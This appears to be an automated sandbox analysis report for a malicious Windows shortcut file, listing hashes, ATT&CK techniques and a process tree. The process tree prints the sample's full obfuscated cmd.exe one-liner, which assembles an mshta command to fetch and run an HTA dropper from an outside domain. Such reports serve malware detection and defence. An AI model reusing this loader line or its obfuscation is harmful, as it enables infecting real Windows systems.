4d3cfbdec1b6f7134979b30f6747cbc604bd08812f537d3f69507a302da59f6f

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:20

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General

Target
DOC-M0IKS8.lnk
Size 2KB
Sample260804-j8tk9avdqe
SHA256 4d3cfbdec1b6f7134979b30f6747cbc604bd08812f537d3f69507a302da59f6f
MD5 afce748dd66ffc897ec6b727212051aa
SHA1 2d5ae9a08932739fca7f8ae63476a49878ca096d
SHA512 4ef105aa1f675aff6f65667f4b75493087530c4b958df752715bae1c98c8c53cc7c5c1913d3da58b0b7fab196875db159e0af5ab123ece3bce62ab384b3e2925
TLSH
T1E44145803BED01DCF2BF9E32ADFE6750487FB9925D60D58D4550820D1822B86D973B57
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4148	cmd.exe
3092	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 3092	4148	cmd.exe	89
PID 3092 wrote to memory of 2076	3092	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-M0IKS8.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4148
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set zzX=bakzittxcswrpfibak&set vzcks=tmpmijabiggtkkytmp&set yUry=oldhzvpsfpsasrdold&set Sgcr=oldyjvlkelbmopprold&set Vf=okmy&&set vmVZ=rsht4z&&set YT=ec7apjg&set rNBu=bakshlmzowbtlesfiaetmcbak&set yJ=jcst8&&set fHjg=t1hartkmx&set IQ=bakcmntahicvogkngbak&set mD=sysuocvggqdfdcdgftiwfsys&set HFBS=winlzgakqentrepwin&set jpoiv=dbgcixmkkttkxdradbg&set oh=netwndrvsetafohejnet&&set NkQI=https://@m@a@-p@df@fi@ll@[email protected]/@h@/estagi@o@1.@ph@p?r@=3914@69F@B5@D8@2D@B&&start /b !Vf:~2,1!!vmVZ:~1,3!!YT:~3,1! !NkQI:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads